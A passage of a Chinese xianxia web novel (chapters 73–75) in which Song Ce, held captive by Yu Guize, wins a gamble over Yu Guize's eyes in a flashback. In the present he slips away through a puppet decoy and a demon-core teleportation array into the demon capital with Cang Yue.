宋策目光一紧,面上不显想将手抽出来,但喻归泽的手已经深入手腕之间顺着他的腕部经脉勾动,宋策眼神凝滞抬头看向眼前人。
宋策怀疑喻归泽疯了。
曾经无数次争执,宋策都能感受到喻归泽的厌恶,嫌弃他拨弄虫卵的手肮脏,他根本就不愿意碰一下,又或许是在他手上吃过亏,所以后来的喻归泽根本连他炼制丹药的那双手他都不肯施舍一份眼神。
现在为了恶心他,喻归泽居然直接把他藏在袖口的东西直接拽出来,宋策有些失语。
随着喻归泽的动作,两只灰褐色轻盈如薄纸的东西从他袖口飞出,喻归泽眼睫轻颤,唇角蠕动似乎有话要说。
宋策直接抽回手,几缕藏在胳膊中的丝线就这样被喻归泽勾住抽出来。
灵蛾扇动着翅膀,落在喻归泽的肩颈,它们缓慢地抖动着翅翼。
宋策的指尖勾出的丝线牵连出几个朱红色的虫子,虫身头顶触角向四周伸了伸,喻归泽眼神瞥了过来,想到之前屠期绝放在他身上的蛊虫直接被喻归泽剁了。
宋策谨慎的将自己养的小东西拽了回去,不动声色的收起丝线。
“你和苍月在联系。”
喻归泽指尖陡然冒出幽绿的灵火,就在火光差点燎到他的袖口时,宋策眼疾手快地收起蛊虫,直接回复:“苍月或许有幕后人信息,尚且可用。”
话音落喻归泽手心的灵火熄灭,塔扶手搭在肩膀上,那两只飞蛾顺势落在他手背的筋骨上。
看着任由在他手心把玩的灵蛾,宋策眼眸晦暗:“你这样囚|禁我有什么意思?”
闻言喻归泽眸光一闪,眼皮漫不经心地抬起一点,冷嗤一声道:“自然是很有意思。”
“你这样的人,只有绑住四肢,断了经脉,废了修为才会有片刻的老实。”
漂浮在杯中的茶叶,平白旋转落得一片微小的涟漪,宋策想起当年他也是这么威胁喻归泽的。
他把喻归泽当做赌注压在赌桌,喻归泽瞪着猩红的眼近乎眦裂,冷清清的人被绑在他身边,深色衣袍随意的散落在他脚边,他像是忍受了难以言喻的屈辱始终梗着脖子,锋利的眼眸刺出醒目的凶光,目光死死盯着宋策。
喻归泽始终不明白一个人为何能如此虚伪。
捆绑的绳索另一端延长至宋策的手边,他指尖轻轻一勾,喻归泽的手就顺势牵引往前。
喻归泽不止一次想,宋策为什么还没死?
难道灵丹居然真的能维持他的命。
断裂的骨节突兀地悬在骨牌之上,余下的四指灵活的转动着手中的筹码,宋策做任何事都是这样游刃有余。
喻归泽长久没做声,他腰腹挺直,脊背僵硬地立在他身侧,宋策余光撇过他规规矩矩放在腿膝的手,白皙修长的指交叠搭在一起,宋策眼睑颤动想到什么,动作有所收敛。
对面出牌的间隙,宋策慵懒地往后一仰伸手揽住他的肩膀,随意捏了捏,散漫地贴近他的耳边,吐气耳语:“再忍忍,脏东西还没出来。”
“腰又疼了?”
喻归泽眉心轻拧,指尖微动,忍不住抬头看了眼宋策,眼中疑惑更甚,唇角蠕动并未说话。
见他不语宋策再次若无其事地陷入赌局,利索地将所有筹码推入牌局中心。
最后一局,喻归泽背后薄汗浸湿衣衫,他鬓边的发丝卷曲着黏腻在脸颊一侧,宋策伸手抬起他的下颌,嬉笑着看着对面:“看来是我输了。”
言语中似有遗憾之意。
喻归泽紧紧抿着唇,呼吸稍显急促,指节不住地蜷缩拧紧,宋策冰凉如蛇的手缓慢地落在他的眉宇,轻轻抚弄着,擦过他的眉梢。
“既然如此,我先挖了他的眼睛赔给你,我们再赌一局”,宋策眼中闪过冷血的光,下一瞬他拾起喻归泽被绑住的手看向对面,“下一局我们再试试别的。”
这种地下赌坊玩灵石,玩灵物,脱离基本生存压力的东西往往会更喜欢一些刺激的游戏,赌出身体的某一部分也未尝不可。
其实在这种赌场,修道者更爱猎奇的东西,往往能在赌桌上看到稀有的赌注,高阶修士或妖兽身体的某个器官同样受人喜爱。
对面的赌鬼喘着粗气,眼眶染血几乎快要兴奋地昏厥过去,视线一刻不停落在喻归泽的脸上。
不只是他一人觉得这人面容是一等一的,眼珠颜色特殊,身上散发着淡淡的香气,纯净的气息很勾引人,身上气息特殊不似凡物,凭他多年经验,这种货色应该是上等的炉鼎体质,如果能拿来修炼肯定事半功倍。
直接分尸还是暴殄天物了,要是可以他更想直接把他整个人都赢过来!
接连输了几次,宋策几乎将喻归泽全身都输光,但他依然气定神闲地坐在赌桌一边,是不是抚摸着喻归泽的腰背,低声说着耳语,旁人都看着两人亲密无间,不知道他为何一定要陪着那赌鬼玩这游戏。
“疯子!”喻归泽缓缓闭上眼睛,尖利的刀刃悬在睫羽一寸之处,他忍不住骂了一声宋策。
“快点动手!”
“慢着!”
宋策对上喻归泽睁开的眼睛,嘴角微勾,潋滟而出的笑意难以掩饰,他转身,
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伸手遮掩喻归泽的双目,旋即看向说话的人。
那冰冷的视线上下扫过宋策和他身边的人,眼神透露着露骨的轻蔑,微弯的眼尾似乎含着讥讽,这人一副看蝼蚁般的眼神流露着居高临下的审视。
他容貌普通唯有一双眼睛神秘又惹人注目,来人看着宋策饶有兴趣地说:“这位公子的赌资我来出,换你和我玩一局如何?”
原本被打扰兴致的妖物正要发作,但看到来人腰间悬挂的令牌瞬间没了声息。
那是一个无字玄色牌,质地特殊看不出是什么材质,旁边围观的一众人也察觉到一丝不同寻常。
这人虽其貌不扬衣着普通,但腰间令牌意义不凡,有点想法的人都知道赌坊背后依靠着仙门世家势力,而赌坊为了辨认“自己人”,会分出身份令牌,便于背后往来交易。
这人分明就是背靠世家仙门,不能随意招惹,其他识相的人纷纷装作不清楚缘由自行离开,鸟兽作散。
“这位公子,我先?”
宋策眼珠转动,落在喻归泽身上的手用力将他拉坐在自己腿上,动作熟练地按住身上人的挣扎,利用两人之间的羁绊分神传音。
“我就说一直有脏东西跟着我们。”
喻归泽动作停顿,微不可察地移动了一瞬眼珠,眼睑轻颤瞬间明白了宋策的意思不再挣扎。
安抚好不听话的喻归泽,宋策这才将注意力放在对面人身上。
他始终笑盈盈地看着这边,似乎对他们的动作毫不可视,笑意不达眼底,只让人心底生寒,宋策伸手抚摸缺失的一边眼睛,随后灿然笑了,问:“既设赌局,怎能不设赌注?”
“公子想要什么?”
他把玩着骨牌,牌面有节奏地击打在桌面发出“咚咚”的声响,随后他抬起眼眸,唇角勾起,头微微歪着打量着两人,语气倏然随意:“我要你的眼睛。”
说着他的视线又移动到宋策摆在桌边的手,又说:“手也可以,但只要右手。”
他要他唯一的一只眼和断指的那只手。
他死死盯着宋策仅剩的一只眼睛,漫不经心的样子似乎再说一件稀松平常的事,宋策这时陡然察觉到自己腿上人的肌肉有一瞬的紧绷。
宋策目光一瞥很快又回到赌桌上,答应了他。
骰子不断撞击发出清脆的声响,觥筹交错的身影映照在光泽透亮的酒水之上,骨牌上莹润的光亮随着边缘的弧度流动,腕边的茶杯被碰到茶水浸湿他宋策衣袖。
方形牌在宋策指缝之间不断穿梭,“啪”地一声玄色牌面浸入杯底。
宋策蹙着眉头,始终有些疑惑不解,他实在是不太明白喻归泽到底是怎么认出他的,他当然知道是在云州城将他识破。
但是喻归泽是从哪个方面认出的,他的伪装很低端吗?
按理来说喻归泽根本就不记得他这张脸了,为什么三百年后的第一面他的伪装就被识破,这简直就是匪夷所思。
除非系统给的忘川引根本就是假的,但可能性不大。
喻归泽当着宋策的面扯出抓住的那一缕分身气息,将灵力注入黑气,掐诀施法追行逐迹。
他分出心神看着宋策略显失神的模样,嘴角泛起一抹微不可察的笑意,他比宋策要更了解他,很多时候做事说话的小动作没办法掩饰。
在人声鼎沸的群潮中心,久坐高台的他低眸一瞥就看到了从容不迫的他,也许有一瞬的错愕,但下一秒,透过轻慢飘摇的纱帘,他清楚地看着他搭在桌上的手把玩着牌面,尾指抵着桌面,其余手指有节奏地敲击着,他这幅伪作谦和实则狂妄的样子他再熟悉不过。
那个野蛮的骗子,他再次毫无征兆地闯入他的视线。
73. 现实
“他发现我了。”
水色透明的膜动了一瞬,颜色愈深逐渐化作朱红色,苍月掀开珠帘走出,一双眸子晦暗不明,目光灼灼看向宋策的背影。
依照喻归泽的修为不可能察觉不到房中还有一人,既然没有点破或许是有意为之。
“坐吧。”
宋策转身示意,其实只有刚开始那几天喻归泽看管的比较严,这些日子或许是察觉到什么,对他的自由限制也没那么密不透风,有时候就连段云芷都能进来和他说上几句话。
苍月能见到他保不齐有喻归泽的授意。
“这就是你们设计抓住的东西?”苍月将注意放在宋策手上的那一缕气息上。
刚才隔着纱帘仔细看过喻归泽,苍月心中依然难掩震惊,其实三百年前宋策带他离开鬼城之后,他们又在风鸣宗相遇,没想到世事无常跌宕起伏,这么多年过去她以为……
当初几人在风鸣宗也遇见过这种特殊的气息,苍月这么多年也一直对这类人有所调查,他们背后似乎有一个特殊有序的组织。
“我怀疑近日肆虐的这些蛊虫灾祸都是这些人捣鬼”,苍月语气凝重,“有人刻意想挑起三界战争,不仅在风雪城就连其他地方都有这种东西。”
说着苍月取出一个木盒往宋策跟前一推:“这是我从被寄生的尸鬼身上挑出的。”
宋策拿着木盒摇了摇,苍月连忙阻止:“不能打开,这东西繁衍速度极快。”
苍月看着宋策随意摆弄木盒的动作,有些慌乱地阻止,她几乎忘了自己在木盒上已经设下了禁制。
宋策笑了笑说:“别那么紧张。”
他将木盒拿走,抬起眼眸笑意浅浅,半晌不语,之后才问:“你如今在伍家作门客?”
苍月一顿,指尖一抽随意摆了摆手:“不过玩玩罢了。”
她靠在桌边,想了想觉得没必要那么拘束,直接坐到桌子上,仰着头看向天花板,几息之后似有感慨侧过脸看着宋策说:“那件事之后,我以为你必死无疑,没成想——”
她笑了笑毫无顾忌地调侃:“还真是祸害遗千年。”
苍月随手拿了宋策手边的糕点塞到嘴里,眯起眼睛觉得似乎又回到从前翻墙跑进宋策的院子找他喝酒的日子,多半是她喝,宋策以茶代酒或者干脆不理她。
其实那时候她就经常偷拿他丹药疗伤。
很多时候被抓包,她嬉笑着坐在宋策窗沿边,许诺给下次付他灵石,现在想来那些就是他不要的对他来说是残次品的丹药,亏她吃了那么多还付了不少灵石钱。
记忆恍惚久远到不真实。
修仙者的日子好长好长,长到一路上她忘了很多人很多事,但又很短,短到还有好多事情没有处理完就与人走散。
苍月动作一顿突然回身看向宋策:“这座城池曾归属于前任魔主手下的一个得力魔将,内宅中心一处能直通魔主之城。”
宋策抬眸与她对视,两人不言而喻,都明白对方要说什么。
“当时新任魔主上位之后,肃清前朝余孽,这位魔将也难逃一死。”苍月搭在桌面的手动了动,她想说些什么似乎又碍于什么。
“黑玄,被屠沉渊废去魔核本元,断了筋骨,侥幸捡到一条命逃到鬼城。”
“当初他还想修复经脉,巩固魔核之后重回巅峰,没成想死的那样轻易。”关于黑风鬼的事,也是后来她到魔域之后才将这些事串联在一起的。
听着苍月的话,宋策轻笑,嘴角弧度略显嘲讽,黑风鬼死的可不轻易,他炼制的丹药是没毒,但不代表他没有其他办法致人死地。
苍月眉间一冷,蓦然看向宋策嘴角若有若无的笑,只觉得遍体生寒。
她自在鬼城与宋策相识就感觉到这人不正常,或许在喻归泽面前还能有所收敛。
她只记得两人到了风鸣宗之后,喻归泽在内门,宋策在外门。
虽如此,但她可清楚这人在外门也常能惹得一片片风波。
“有什么办法可以重新启动转送法阵?”
这些日子魔域还算风平浪静,是因为外界根本找不到魔域大本营具体位置,魔宫所处位置其实能在魔域中四处转换,据说随星斗□□转移,外界根本找不到具体位置。
传送阵就在城池底下,主殿中心。
一直被限制行动,宋策不知道这里居然还有一个传送阵能直接去魔主城,喻归泽不可能不知道有这么一回事。
宋策手蜷起抵着嘴唇,他眼神不定,另一只手沾着茶渍在桌子上勾画图案。
“这个说不定可以。”
宋策翻掌抬起手,瞬时间一颗泛滥着玄色光晕的晶核出现在苍月眼前。
她眼睛瞬间瞪大,红唇抖着微张,眼珠不断在魔核与宋策冰冷眼眸之间转动。
“这是黑风鬼的魔核!”
她亲眼见证宋策怎么把黑风鬼给分尸了,还以为这种东西早就被宋策炼化或毁了,没想到他居然还留着这东西。
“我得见到启动法阵的阵眼。”
苍月神情震颤,眼眸闪动着溢彩,有些激动地说:“我去联系伍南寻!”
“来不及了,现在就去!”
喻归泽肯定也在想办法破解传送阵的玄机,暂时没工夫管他,他能纵容自己见苍月应该也是没有预料到苍月知道黑风鬼寝殿地下有这么一处玄机。
喻归泽并未有意关押他,又或许是太过于自信并不将他放在眼里,宋策很轻易的就解开禁制。
“走!”
黑夜里呼啸的风穿过长廊卷起宋策的衣摆,苍月疾步跟在这道身影背后。
寂静的院落空无一人,苍月举起联络法器,刚准备说些什么,就被宋策按住手腕制止:“普通传讯器会激起灵力波动,我们会被发现。”
苍月抬眸看向宋策,有些疑惑地问:“我们直接启动法阵?”
释灵从宋策袖口钻出灵活地缠绕在他腰上,他伸手摸了摸,心想,要是让喻归泽知道能直接去魔宫,他就别想掺和这事儿了。
“不急,等人。”
宋策回头看向苍月,嘴角熟练地卷起,眼中闪过狡黠的笑意,苍月目光一顿,有些不适应的撇开眼,宋策这幅模样她还有些不习惯。
她记忆里的宋策多数情况下总是阴鸷沉郁的样貌,白纱裹面,眼珠深寒,一副生人勿进的样子,如今换了一张脸和他说话倒是显得分外怪异。
“时间不多了,快走!”
“等等,伍南寻他有关于阵法的运转卷轴。”
苍月想起伍南寻,走之前她还答应说要带着他一起,宋策和法阵的消息都是他一手提供的,这要是把他落下了,这人回头肯定又要不停啰嗦。
宋策想说些什么回头一看,收势的手一颤,险些打乱阵法运转的节奏。
苍月呼吸一滞,喉管紧缩眼珠也止不住颤动着,她施法的动作也随之停下,看向宋策停顿的目
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光,不由地转身看去。
“今夜月色不错……哈哈……”伍南寻身后站着一众人,他脸色尴尬,身体僵硬的不行似乎背后有人拿刀抵着他,但也确实如此。
本来他设计将苍月送入府中,就安心等着苍月的好消息,没想到消息没等到,把几个大佛等来了。
段云芷直接闯进来拿刀架在他脖子上让他交代,也不说交代什么,他哪里知道要交代什么,刀也不拿下去,伍南寻只能一股脑全托盘而出,谁知道半路还杀出个颜丹臣,两人瞬间打了起来,他那朝不保夕的落脚地被打的七零八落。
这简直就是无妄之灾,丧心病狂。
如今伍家式微与颜家和段家不可同日而语,他可没那个胆子追究谁的责任,毕竟他打也打不过他们中的任何一个人。
颜丹臣跨过伍南寻,看向宋策的视线犀利又充满冷厉,他启唇道:“东西呢?”
宋策凝眸移动眼珠,夜光下他瞳孔如点漆生寒,喻归泽眉心其轻轻蹙起,一双浅淡的眸子在月光下显得越发冰冷,犹如霜雪拂面,宋策看着他的眼睛,脸上总是笑着。
喻归泽察觉到一丝不对劲,抬起手势朝宋策方向掐诀使出术法,谁料他正好有所准备往后一掀,飞扬的衣袂间,喻归泽眸色一凝,飞身朝着宋策方向追去。
漆黑的夜色中,苍月向两人方向跟去,密林之间,喻归泽看着宋策的背影,喊他:“你将我带到这里来做什么?”
风声呼啸,穿林落叶之间,宋策转身看向那抹白色身影,嘴角弧度夸张地勾起,吐露出怪异却冰冷的话语。
“郎君,你教我的傀儡术,这么多年怎么还是识不破呢。”
落地之时,苍月的红色身影也随之停在他身边,一黑一红,墨色沉郁的林中风吹过树叶哗哗作响,喻归泽心间一紧,唇瓣抿紧。
“宋策,你无耻!”
他对着两具僵硬的躯体,目光紧锁,眼眸盯着傀儡琥珀般的眼睛,看向他背后的主人。
喻归泽胸膛止不住起伏,就差半日。
他早该知道,就算真的困住这人,在去天恒阁的路上他也不会安分,这不知生死的狂妄之徒,当初他就应该直接将宋策三魂七魄锁住,让他一刻也无法起什么乱心思。
“宋策”歪着脑袋,嘴角挂着不似真人的笑意,他怪异地裂开嘴巴,似乎是与控制之人的距离越发远,他的生命也逐渐走向停滞。
口舌如蛇信子,张口吐出他主人的留言:“既不愿与我同行,我便在魔主城等你!”
刹时喻归泽伸手虚空一拧,宋策挺拔的身躯如同软化的柳枝随风弯曲,风吹起的发丝交错缠乱,傀儡的躯体瞬间化作一场纷繁的湮粉,与光同尘刹那绚烂。
月光从林密的枝叶中倾泄,飘散的光尘如同冰冷的飞雪,纵使知道这是一场虚妄,他抬起的手穿过那些错落光影,还是为这虚幻的玩笑而轻轻颤抖。
微风里似乎还有他微妙的叹息声,又像是亲昵的耳语。
“郎君怎么还和从前一样啊。”
肩膀拂过轻扬的细雪,如他的主人一样,自由散漫不受拘束,他嘴角勾起,但眉宇间却染上阴霾,语气中微不可察地流露出冷意:“宋策,不要总予我叹息。”
沉寂已久的地下古阵,启动石上刻画着繁复古朴的纹路,黑玄魔核的气息与之呼应,刹那间死寂的阵法发出嗡鸣声。
声音主人的气息随着地下法阵的启动逐渐消散在空气中。
74. 回忆·现实
久处上位的人似乎从未见识过这样的局面,面子上有点意外,他放在桌子上的手有些急躁的敲击着牌面,发出哒哒的声音,宋策则是不慌不忙地将所有筹码揽回。
“是我输了。”他抬起头将视线重新落在他们身上,只是这一次他眼睛却紧紧盯着宋策。
他似乎对这个微不足道的小妖有了一点兴趣,勾起的嘴角泛着讽意,眉目微弯,随手将腰间令牌扔在桌上,扬着下巴示意。
“你的了。”
整个局面,喻归泽始终坐在宋策的腿上,神情紧绷,眼神冷淡,他似乎对这场关于他的赌局没有一丝关心,直到宋策赢下赌局,也没有露出任何不满。
说话之人眯起眼,意味不明地看着喻归泽的侧脸,目光晦暗如深潭,藏匿着不可言说的东西。
察觉到不曾移开的注视,喻归泽终于转头看了一眼这人,眼如古井,平静地让人觉得诡谲。
被注视的人毫无压力,他细微地嬉笑一声,似叹又讽,扬起眉表露出意兴阑珊后的疲懒,临走之前最后看了人一眼两人,负手淹没在人群中。
宋策摩挲着这枚无字腰牌,随后低头将腰牌系在了喻归泽腰上:“他们不会让你死,但我也不会坐以待毙。”
自从救出喻归泽开始,宋策就猜测喻归泽的命运背后一直有人推波助澜。
系统发布的任务和世界意识有着绝对关系,喻归泽作为任务对象,他的状况牵连着任务进度,如果喻归泽背后一直有人刻意操控,或许这种操控也是世界任务发布的关键点。
宋策亲昵地靠在喻归泽肩膀上,揽着他的腰腹说:“到底是谁呢?”
“或许与我族人之死有关系。”
或许他不是侥幸活下来的,只是那些人根本就放过他。
这一切都太过于巧合,鬼城与灵族栖地相隔甚远,灵族法阵出现问题的几率很小,但他恰好就遇上途径鬼城的游商,这一切都好似有意被人故意安排。
除非有人并不想他轻易死,又或许他尚且有点价值,背后之人刻意留他一条命。
“从鬼城一路隐藏踪迹,这次你要听我的。”宋策抚过喻归泽略微散乱的衣襟,抬眸凝视着他,伸手抹过他干燥的唇瓣。
“再敢乱来,我现在就把你卖给那个丑东西。”
他下巴轻扬,喻归泽抬眸看向不远处的赌客。
那人正情绪高涨地叫喊着,一口黄牙里参杂着黑色,赢了一大把钱还不忘掐着身边的美人亵玩几番。
喻归泽对宋策对视,平静道:“求之不得。”
宋策低头收紧他的腰带:“我现在没工夫和你犟嘴。”
他按住喻归泽脖颈将他狠狠拉近,视线停在远处那人黏腻动作上,靠近他耳边意有所指道:“你要是想要了,之后再说。”
“滚!”
宋策抬手挡住喻归泽的攻势,眼里再次恢复成那副玩世不恭的模样。
他们接连穿过空旷的路口,漆黑的夜晚虫鸣声喧嚣,夜风吹拂过两人的衣袂,卷起一层层浪花。
脚步声紧跟其后,急切逼近。
绕过巷口转弯处,一个身影突然出现在两人眼前,斜倚在深巷口中,他长发高术束,一身玄色深衣。
行走之间,衣袍交错有致,衣衫之下另有参差深红底色,将他周身冷峻气息冲淡了几分。
喻归泽和宋策警惕地看向黑影,待他上前几步,借着皎洁月光,宋策看清了他样貌。
朗朗月辉落在他的肩膀,深暗的眼瞳在夜色中显得愈发沉寂,犹如鬼魅噬人心魄,他扬起的眉目扫过宋策和喻归泽,最终将目光落在宋策脸上。
宋策肩颈受伤,他靠在喻归泽身上,鲜血从布料中渗透浸染指缝,一只手死死按住他的胳膊,喻归泽眉心紧蹙,任由这人的血液浸染他的衣裳。
屠沉渊不断打量着这两人,方才在阁楼之上,他分明看的真切,这人明显控制着他身边这个白面修士,毫无顾忌地将人压在赌桌上,现在又这样亲密接触。
他看旁边这位修为并不在这人之下,可却任由这人欺辱,可见是有什么把柄落在他手中。
屠沉渊觉得这两人的相处确有意思。
宋策脸上裹住大半素纱,就连脖颈延伸至身下都紧紧包裹着纱布,他眼中闪过一丝兴味,看向两人身后动静,薄唇轻启:“公子,你们似乎有大麻烦啊。”
……
“此地是魔域主城,魔族高阶魔大多栖住在此,拥有高阶血脉的魔之间能互相感应。”
“戴着。”
宋策拿出一颗泛着莹润光亮的珠子递给苍月。
苍月看着宋策严肃的神情,知道他不是在玩笑。
魔族讲究血脉传承,几乎所有魔族都崇尚血脉等级,他们作为外来人如果没有外物掩饰,被发现身份不明,恐怕会被被当做侵入者就地斩杀。
苍月事先为了调查蛊虫之事,线索追踪到魔域后,提前和伍南寻留意过魔族主城的注意事项。
但瞧着宋策十分熟练的样子,看他似乎对这些都很了解,苍月有些好奇地问:“你提前准备过?”、
“和高阶魔族打过交道,他们不像其他魔那样好对付,你注意就是。”
“你以前来过主城?”
宋策头也没抬,随口道:“嗯哼。”
闻言苍月脸上几乎毫无讶意,在风鸣宗失联后,她还以为宋策人没了。
她看了眼宋策,沉默地闭嘴了,她就知道宋策什么都做得出来,或许魔族确实更适合他。
恍惚间,宋策动作一滞,按在袖口的指尖微用力似乎在探查着什么,苍月以为发生什么意外了。
“怎么了?”
“无事……”宋策敛眸,眉心闪过几分恼意。
他带在身上的灵蛾,被喻归泽带走了,宋策无意识地揉了揉额头,觉得有些疲惫,之前他就知道喻归泽身上那股特殊的气息能吸引一些东西。
就连他豢养的那些蛊虫都喜欢往喻归泽身上跑,有些时候宋策养的一些不听话的蛊虫几乎对他不起作用。
若不是喻归
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泽根本不让那些东西靠近,宋策都怀疑那些他费尽心血养的东西是帮喻归泽养的。
这次他身上带的小东西又跑了一部分,肯定又被喻归泽给弄死了。
宋策吸气后长叹一口。
屋外的声音突然打断了两人的对话,这下他们才想起探查现在处境。
空气中弥散着一股莫名的香,其中细微掺杂着糜烂味道。
苍月手在鼻前扇了扇,走向窗户往外看:“阵法没错,我们确实在魔主城,但是传送过程中出了一些问题,传送目的地很不对劲。”
宋策暗笑一声,聊赖侃笑道:“我怎么感觉没错呢,黑风鬼那点出息,说不定就将传送地点设在秦楼楚馆。”
黑玄余下的魔核最后发出了一点作用,传送之后,之留下石子大小的丁点东西,现在毫无生气被宋策抛至空中又接住。
“如果是这样的话,我们得想办法赶快出去了。”
说着外面不合适宜地响起嘈杂声,伴随着打杂的碎裂声,不断有来法术碰撞的尖锐声,楼下接连传出木质崩裂后碎末刺入肉|体的“噗呲”声音。
“搜查!”
“让你们的人都出来!”
“快快快!”
还没苍月反应过来,他们眼前的门就嘭的一声撞开,苍月想先发制人,却被宋策拦住动作,等她再次反应,眼中惊疑不定地看向始终沉默的宋策。
苍月的视线不断从宋策和屋子里其他几个人来回游走,她发现一个事实,这几个人似乎看不到他们。
刚这几个魔族修为虽不算高,但是他们人数众多,要是惹了麻烦对他们不利。
几个人魔族人打乱室内几个陈设之后很快就离开了,苍月这才敢和宋策交流,为了避免被发现,她传音给宋策。
“我们身上佩戴的是修为较高的魔核,有一定压制低等魔族的效用,必要时可赢藏匿气息。”
听此,苍月给了宋策一个虚伪的不能再虚伪的假笑,弯着四个手指给了他一个手势。
“你不早说。”虽然她不太懂这动作什么意思,之前她和宋策学的,但用膝盖想也知道不是什么褒奖,苍月毫无惭愧地对宋策使用。
“你没问。”宋策自主地忽略了苍月的动作。
“奉命搜查,今日从暗狱偷跑了几个重刑犯,谁看见能提供有效线索,必有重赏”,说话的魔族举着手中墨色令牌,朝着四方展示,他粗着嗓音,“若是让我发现有谁私藏重刑犯,格杀勿论!”
说完他抬起手,空中出现几幅大小不一的画像,面朝各方展示画像中人样貌。
宋策和苍月旁若无人地靠在高层栏杆上,仗着这些人察觉不到他们的气息,毫无顾忌地看热闹。
突然苍月握着圆柱栏杆的手陡然收紧,脊背冒着冷汗,心中出现一股被野兽盯着后背的凉意,她意识到并非所有人都对他们视而不见。
宋策往上再看,高楼玉宇,有人在更高的地方,苍月神情严肃冷峻,与宋策对视一眼。
“有人在看我们。”
75. 回忆·现实
“宋策”,说话人语调一顿,“你是叫宋策吧。”
紧随其后还有几个灰色影子,这些人刻意做了伪装,根本看不清具体模样,呈现在他们眼前的只有一团团黑雾。
“不过一个吊牌,阁下赌品似乎不太行啊。”
宋策轻快的语气在空旷死寂的暗巷显得异常突兀,屠沉渊看一眼宋策,有些意外地轻笑一声。
已经退无可退,为首的人见宋策依旧那副死样子,不屑地冷嗤,死到临头了还翻着眼嘴硬,不知死活。
他就喜欢这种硬骨头。
“骨头这么硬,不如和我回去给你松松筋骨。”
话音落下,他身后的团雾迅速膨胀开,攻势迅猛,久坐墙沿的屠沉渊出手,替两人隔绝黑雾,但很快屏障就被黑气腐蚀殆尽。
暗巷中接连炸出一阵阵火光,刺的众人睁不开眼,宋策瞥了一眼出手的屠沉渊,眼底闪过不明的情绪。
就在这时,巷口突然发出诡异嗡鸣声,宋策踉跄着靠在喻归泽身上往后退,他事先布制在巷口的法阵在巨大灵力的充斥下迅速启动起来。
自出逃鬼城,他就不断搜集布阵的灵器材料,等的就是这一天。
宋策料到这些人不会杀他们,至少不会对喻归泽下死手,既然如此,一切不利于己的皆可利用。
以宋策和喻归泽的修为齐力也只能启动七品下等的传送阵,只有五品上等以上的传送阵才能勉强隐藏踪迹。
在传送阵上叠加灵力转换阵和聚灵阵,再将这些臭虫聚集在一起,一切都简单了起来。
“你……”其他人都不明所以,地面轻微晃动起来,为首人脸色一变。
“他们要跑!”
“别用灵力!”
还没意识到什么,宋策一把拽过喻归泽扬眉戏谑道:“来不及了!”
两人急退几步,喻归泽按住宋策流血不止的肩膀,他看着宋策苍白的脸色,不由分说躬身将宋策背起。
喻归泽一手扶着宋策,另一手利索地唤出囚血,一滴血珠如液体一样分出无数剑刃悬浮在空中,缠绕在他指尖的赤色绸带以迅雷不及掩耳之势裹挟着利刃向敌人攻击。
这为他们争取到一点时间,屠沉渊也召唤出本命法器,协助两人阻挡其他人的攻击,为传送阵启动争取时间。
“切断传送道!”
所有人突然选择近身攻击,法阵运转的空间被阻碍,血刃瞬间收入喻归泽袖口,他闪身躲避,巷口砖墙接连被冲击力破开。
这时空间被撕开一条缝,为首之人发出一声莫名的冷笑:“是我小瞧了你!”
黑气不断向缝隙里钻,试图阻止传送口的扩张,屠沉渊立马退至缝隙边阻挡黑气蔓延。
“真蠢!”宋策骂声再次响在所有人耳边,喧嚣的碰撞声里显得异常讥讽。
话音掷地有声,随后他扔出几张符箓,刹那间艳丽刺眼的炫光毫不客气地炸在巷子里,声势浩大气焰嚣张,追杀之人立即掀起屏障抵挡,但眼睛依然被刺的睁不开,空气中蔓延着刺激咽喉的硝烟味。
趁这会儿空隙,宋策按着喻归泽的肩膀沉声说:“快走!”
等烟雾消散,残桓断壁的巷子早已破败不堪,空留残缺的法阵痕迹,烟雾中还弥撒着烟花刺鼻的味道,意识到被诈骗的人,连呼吸都停了几息。
所有人盯着几人消失的地方,那对他们来说是一个破烂的不能再破烂的传送阵,就连缔结阵法的连接器都是不入流的东西。
所有人心中只剩下两个念头,竟然被一只低等半妖耍了,果然还是直接杀掉比较简单。
为首之人不断把玩着闪烁不停的灵器,黑着脸捏碎了手里小型控制器。
空巷之中寂静无声,良久,不知是谁发出了荒谬的低笑。
……
“我们先走!”
苍月发现到有人盯着他们,宋策却不急不慢地靠在栏杆上,身形一刻未动,苍月抿唇退至宋策身后。
楼下的嘈杂声音还在继续。
苍月将手中晶核捏的更紧了些,心跳声如钟鼓响彻不息。
她虽之前出入过魔域,但那也只是在区域外围,他们对主城中高阶魔族的习性根本就不了解,如今上层魔族与人族交往甚少,她只在少数的仙门同盟录中看过仙门千年前与魔族结盟的一点记录,仅仅在只言片语中知悉一些中性信息。
大多记载对他们形容都是狡猾残暴,性情暴虐无序,苍月眉心紧蹙,警惕的眼神一刻不曾离开宋策。
若是这些魔族都和黑风鬼一个样……
“别动。”
宋策敛眉伸手按下苍月紧绷胳膊:“放松点。”
苍月听到宋策沉着冷静的嘱咐,身上绷起的肌肉立马放松下来,看向宋策平淡的眼,苍月立马清醒了许多,意识到是自己过于谨慎了些,这种情况下更应该冷静才对。
苍月有些懊恼,看来这么些年在伍家待久了,越活越回去了。
很快压迫在他们身上那股若有若无的神识窥探撤去,缥缈无声似乎只是那位大能无意中的一瞥,苍月松了一口气。
随着馆内热闹起来,所有人都当刚才那些骚乱没有发生过,接着奏乐接着舞,宋策和苍月逆着人潮往外走。
魔族粗狂豪放,苍月一直被路过的人招呼,为了不引人瞩目,开始她还能勉强回以含蓄笑容礼貌回绝,次数多了最后直接冷漠扯走被拉着的袖袍。
她黑沉着脸,终于从一堆人山中拔出来,颇没好气地斜一眼宋策。
从背后看宋策长发如瀑,玄青色缎面衣裳被他穿得温润玉树,朗如君子,只是一眼便以为是哪家出游的矜贵公子。
他似乎早有预料,一早就做了伪装,脸上是普通不能再普通的样貌。
她挑眉看着宋策不知道从哪里掏出一把扇子,恰有其事的扇着风,她无奈扶额,如果不是他们现在的情况有些紧急,她都要快发疯了。
无奈上下扫视宋策,不褒不贬地评价:“你倒是自在。”
宋策展开扇面,扇骨在他手中灵活的转着圈,街边灯笼的光照在扇面,鎏金点缀的扇面展现出奇异的光彩。
苍月想,这又是哪个宝贝?
宋策瞥见苍月的眼神,折扇转动一瞬,回眸看向她,有意调侃道:“想要?”
苍月几乎没有任何想法,直接朝着他翻了一个白眼。
突然,只听头顶上方有人大叫。
“救命啊!”
熟悉的声音由远及近,她的身影从天而降几乎直挺挺地摔下,宋策和苍月站在一边就那样看着她不知道从什么地方掉下来。
“哎呦!”
许长岁颤巍巍地从地上爬起来,待看清眼前的人是谁时,她瞬间露出惊喜表情,直接往宋策跟前凑。
